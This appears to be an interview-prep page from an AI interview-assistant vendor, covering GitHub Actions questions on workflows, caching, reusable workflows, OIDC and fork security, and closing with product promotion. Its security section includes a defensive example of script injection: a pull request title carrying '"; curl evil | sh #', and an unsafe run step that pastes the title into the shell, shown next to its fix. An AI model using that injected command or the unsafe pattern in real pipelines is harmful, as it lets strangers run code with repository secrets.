GitHub Actions interview questions and answers for DevOps engineers

GitHub Actions interview questions test whether you can read and write a workflow file: events and filters, jobs and steps, runners, matrices, caching, artifacts and outputs. Experienced rounds move to reusable workflows, the GITHUB_TOKEN and its permissions, OIDC access to a cloud account, deployment environments and the security traps of untrusted pull requests. A strong candidate explains why each line of the YAML is there, not only what it does.

By Published 6 min read

How GitHub Actions shows up in interviews

Teams that host code on GitHub often run their builds there too, so GitHub Actions questions appear in DevOps, platform, SRE and senior backend loops. They tend to arrive in three shapes: a short quiz on syntax, a workflow on screen with a bug to find, and a design prompt such as "set up CI and deployment for this monorepo". Questions about pipeline strategy in general, such as trunk-based delivery or canary releases, are on CI/CD interview questions. This page covers what only makes sense on GitHub.

  1. Vocabulary checkWorkflow, event, job, step, action, runner. Expect to explain how they nest in one breath.
  2. Read a workflowA YAML file on screen with a missing needs, a wrong cache key or a secret pasted into a run line. You talk through what happens on each event.
  3. Write or extend oneAdd a test matrix, a deploy job gated on main, or turn copied YAML into a reusable workflow.
  4. Security and scaleFork pull requests, token scopes, self-hosted runners, cloud credentials and how you would roll a standard across many repositories.

Fundamentals questions

First-round GitHub Actions questions
QuestionWhat it testsWhat a strong answer shows
What is the difference between a workflow, a job, a step and an action?The modelA workflow is one YAML file under .github/workflows. It holds jobs, each job runs on one runner as a list of steps, and a step either runs a shell command or calls an action, which is a reusable unit someone packaged.
Do jobs run in order?ExecutionNo. Jobs in a workflow start in parallel unless needs says one waits for another. Steps inside a job run in order and share the runner's file system.
Name some trigger events and when you would use each.Eventspush and pull_request for CI, workflow_dispatch for a manual button with inputs, schedule for cron jobs, release for publishing, and workflow_call for a workflow other workflows reuse.
How do you run a workflow only when certain files change?FiltersUse paths or paths-ignore under the event, often with branches. Mention the catch: if that workflow is a required status check, a skipped run can leave the check waiting.
GitHub-hosted versus self-hosted runners?RunnersHosted runners are fresh virtual machines that GitHub manages and discards after each job. Self-hosted runners are your machines: needed for special hardware, private networks or cost reasons, but you own patching and isolation.
What is runs-on and what does ubuntu-latest mean?Runner labelsruns-on picks the runner by label. The -latest labels move to a newer image over time, so teams that need stability pin a specific image version.
How do you pass a secret to a step?SecretsStore it as a repository, environment or organization secret and map it in with env or with using the secrets context. GitHub masks known secret values in logs, but masking is a safety net, not a control.
Secrets versus configuration variables?ConfigSecrets are encrypted and masked. Variables, read through the vars context, are plain text for non-sensitive settings such as a region name.
What are contexts? Name a few.ExpressionsObjects you read inside ${{ }}: github for the event and ref, env, vars, secrets, matrix, needs, steps, runner and inputs.
What do success(), failure() and always() do in an if?Status functionsThey decide whether a step or job runs based on earlier results. always() suits cleanup and report upload; failure() suits a notification.
First-round GitHub Actions questions. Scroll sideways on a small screen.

Reading and writing a workflow

Many interviews put a CI workflow like the one below on screen and ask you to explain it line by line, then change it. Know why permissions, concurrency and the cache setting are there, because those are the lines candidates skip.

name: ci
on:
  pull_request:
  push:
    branches: [main]
permissions:
  contents: read
concurrency:
  group: ci-${{ github.ref }}
  cancel-in-progress: true
jobs:
  test:
    runs-on: ubuntu-latest
    timeout-minutes: 15
    strategy:
      fail-fast: false
      matrix:
        node: [20, 22]
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: ${{ matrix.node }}
          cache: npm
      - run: npm ci
      - run: npm test
      - name: Keep the coverage report
        if: always()
        uses: actions/upload-artifact@v4
        with:
          name: coverage-node${{ matrix.node }}
          path: coverage/
CI for a Node service: tests on two Node versions, npm cache, read-only token, and superseded runs on the same branch cancelled.
  • Why `fail-fast: false`? By default one failing matrix leg cancels the others. Turning it off shows whether a failure is specific to one Node version.
  • Why include the matrix value in the artifact name? Each leg uploads its own artifact, and recent versions of the upload action refuse two artifacts with the same name in one run.
  • What does `cache: npm` cache? The npm download cache keyed on the lockfile, not node_modules. npm ci still installs cleanly, just without downloading everything again.
  • How would you add a database for integration tests? A services entry such as a Postgres container with a health check, then connect to it from the steps through the mapped port.
  • Why set `timeout-minutes`? A hung test otherwise holds a runner until the platform's own job limit, which is far longer than any healthy test run.

Intermediate questions

Matrices, data between jobs and reuse
QuestionWhat it testsWhat a strong answer shows
Cache versus artifact?Data between runs and jobsA cache speeds up later runs and may be evicted at any time. An artifact is a file a run produces and keeps, used to pass a build from one job to another or to download it afterwards.
How do you choose a cache key?Cache designInclude the OS and a hash of the lockfile, for example with hashFiles('**/package-lock.json'), and add restore-keys so a partial match still helps when the lockfile changes.
How does one step hand a value to a later step or job?OutputsThe step appends name=value to the file in $GITHUB_OUTPUT and has an id. Later steps read steps.<id>.outputs.name; to cross jobs, declare it under the job's outputs and read it through needs.
How do include and exclude change a matrix?Matrix controlexclude drops combinations you do not support; include adds extra keys to matching legs or adds whole new legs, such as one nightly build on a different OS.
Reusable workflow versus composite action?ReuseA reusable workflow (on: workflow_call) supplies whole jobs, with their own runners, inputs, secrets and environments. A composite action bundles steps that run inside the caller's job. Use the first for a standard deploy pipeline, the second for a shared setup sequence.
How do secrets reach a reusable workflow?Secrets in reuseThe caller passes them explicitly under secrets, or with secrets: inherit inside the same organization. Explicit passing documents what the called workflow can reach.
What kinds of custom action can you write?Action authoringJavaScript actions, Docker container actions and composite actions, each described by an action.yml. JavaScript actions start fastest; container actions only run on Linux runners.
How do you run a job only on main after CI passes?Gatingneeds: test plus if: github.ref == 'refs/heads/main' && github.event_name == 'push', and ideally an environment for the deploy job.
Why might a push made by a workflow not start another workflow?Recursion guardEvents caused by the built-in GITHUB_TOKEN do not trigger new runs, apart from manual and repository dispatch events, which prevents loops. A GitHub App token is the usual way to trigger on purpose.
How do you debug a failing workflow?DebuggingRead the step log, rerun the job with debug logging enabled, print the relevant context with toJSON, and reproduce the command locally in the same container image when possible.
Matrices, data between jobs and reuse. Scroll sideways on a small screen.
jobs:
  deploy:
    needs: test
    if: github.ref == 'refs/heads/main'
    uses: example-org/pipelines/.github/workflows/deploy.yml@v3
    with:
      service: billing-api
      environment: staging
    secrets:
      registry-token: ${{ secrets.REGISTRY_TOKEN }}
Calling a shared deploy workflow from another repository, pinned to a tag, with only the secret it needs.

Senior and security questions

Senior GitHub Actions interviews focus on trust. A workflow runs code from the repository with whatever the token and secrets allow, so the interviewer wants to know who can change that code and what it can reach.

Security, deployment and platform-scale questions
QuestionWhat it testsWhat a strong answer shows
What is the GITHUB_TOKEN and how do you limit it?Least privilegeA short-lived token created for each job. Set restrictive defaults at the organization level and grant only what a workflow needs with permissions, such as contents: read plus pull-requests: write for a commenting bot.
How would you deploy to a cloud account without storing long-lived keys?OIDCGrant id-token: write, let the job request an OIDC token, and configure the cloud to trust tokens whose subject matches this repository and branch or environment, exchanging them for short-lived credentials.
What do environments add?Deployment controlRequired reviewers, wait timers, restrictions on which branches can deploy, and secrets that only jobs in that environment can read. The deploy history per environment is a bonus.
Why is pull_request_target risky?Fork safetyIt runs in the context of the base repository with secrets and a write-capable token. Checking out and running the pull request's code in that workflow hands those to a stranger. Use plain pull_request for building untrusted code.
What is script injection in a workflow?InjectionExpressions in a run line are pasted into the script before the shell runs. A pull request title such as "; curl evil | sh # becomes code. Pass untrusted values through env and quote the variable.
Why pin third-party actions to a commit SHA?Supply chainA tag can be moved to new code by whoever controls the action. A full SHA cannot. Pair pinning with a bot that proposes updates so pins do not rot.
Should a public repository use self-hosted runners?Runner isolationGenerally no: anyone who opens a pull request may get code running on that machine. For private use, prefer ephemeral runners that take one job and are destroyed, for example scaled on Kubernetes.
How would you standardize CI across hundreds of repositories?Platform thinkingA small set of versioned reusable workflows, organization-level rules for allowed actions and token defaults, required workflows or rulesets where available, and a migration plan that does not break teams overnight.
A monorepo's CI takes forty minutes. What would you change?PerformanceMeasure per job first. Then path filters or a changed-package step to build only what changed, better caching, splitting tests across a matrix, and moving slow end-to-end suites to merge or nightly runs.
Deploys from two merges overlapped and the older build won. How do you prevent it?OrderingA concurrency group per environment without cancelling in-progress deploys, so they queue, plus deploying an immutable build reference rather than whatever is on the branch.
Security, deployment and platform-scale questions. Scroll sideways on a small screen.
steps:
  - name: Unsafe
    run: echo "Checking ${{ github.event.pull_request.title }}"
  - name: Safe
    env:
      PR_TITLE: ${{ github.event.pull_request.title }}
    run: echo "Checking $PR_TITLE"
Script injection and its fix. The first step pastes the title into the script; the second passes it as data.

Fictional example

Answering "Our deploy job uses an AWS access key stored as a secret. What would you change?"
Interviewer
Every repository has the same long-lived deploy key saved as a secret. Is that a problem, and what would you do?
Candidate
It is a problem because one leaked log or one compromised workflow exposes a key that works everywhere until someone notices. I would switch to OIDC. The deploy job gets id-token: write, and in the cloud account I create a role that trusts GitHub's token issuer only when the subject claim names this repository and the production environment. The job swaps the token for credentials that expire within the hour. I would also put the deploy job behind an environment with required reviewers, so the trust condition and the human approval point at the same thing. Then I would roll it out repository by repository through a shared deploy workflow, and delete the old keys only after each repository has deployed successfully with the new path.

A one-week GitHub Actions practice plan

  • Day 1: create a repository with a small app and a CI workflow on pull_request and push to main. Read every line of the run log once.
  • Day 2: add a matrix, a cache and an artifact. Change the lockfile and watch the cache key miss and the restore key hit.
  • Day 3: pass a value through $GITHUB_OUTPUT to a second job, then gate a fake deploy job with needs, if and an environment with a required reviewer.
  • Day 4: turn the deploy into a reusable workflow and call it from a second repository. Write a tiny composite action for the setup steps.
  • Day 5: read about OIDC for your cloud of choice and sketch the trust condition. Write the unsafe and safe versions of a step that prints a pull request title.
  • Days 6 and 7: answer the senior table out loud, two minutes each, and practice reviewing a teammate's workflow as if it were a pull request.

GitHub Actions rarely gets its own whole loop. Pair this page with DevOps engineer interview questions, GitLab CI interview questions if the team is weighing both tools, and Azure DevOps interview questions for Microsoft-centred shops.

Workflow questions reward precise wording: "the job" and "the step" are not the same thing, and interviewers notice. Natively, an AI interview assistant for Mac and Windows, transcribes mock DevOps rounds on your computer so you can catch where your explanation blurred. During practice it can read a workflow file or a failed run log from a screenshot and suggest what went wrong, and with Pro or the free trial it can draw on the résumé and job description you add. The transcript and notes stay available afterwards.

Questions people ask

What GitHub Actions questions are asked in DevOps interviews?

Expect the workflow, job, step and action model, trigger events and path filters, runners, matrix builds, cache versus artifact, outputs, reusable workflows, GITHUB_TOKEN permissions, OIDC to a cloud and the risks of pull_request_target.

What is the difference between a reusable workflow and a composite action?

A reusable workflow is called with workflow_call and supplies whole jobs with their own runners and secrets. A composite action packages a sequence of steps that run inside the job that calls it.

How do you keep secrets safe in GitHub Actions?

Scope the GITHUB_TOKEN with permissions, prefer OIDC over stored cloud keys, keep deploy secrets in protected environments, pass untrusted input through env instead of expressions in run lines, and never run fork code under pull_request_target.

How should I prepare for a GitHub Actions interview?

Build a small repository with CI, a matrix, caching and a gated deploy job, then break it on purpose and explain each fix out loud. Be ready to review someone else's workflow for security problems.

Where to go next

Practice with the same assistant you would use on a call: it listens, transcribes and suggests answers from your own resume and the job description.

Facts on this page were last checked on . Product details come from the Natively app itself; if something here is out of date, tell us at hello@heynatively.com.

Keep reading

Put it on your own machine.

A live-conversation assistant that runs locally. Your conversations stay on your machine.

macOS 12+ · Windows 10/11

© 2026 Natively AI Private Limited

Source-available under the Natively Personal Use Source License v1.0 · IP geolocation by DB-IP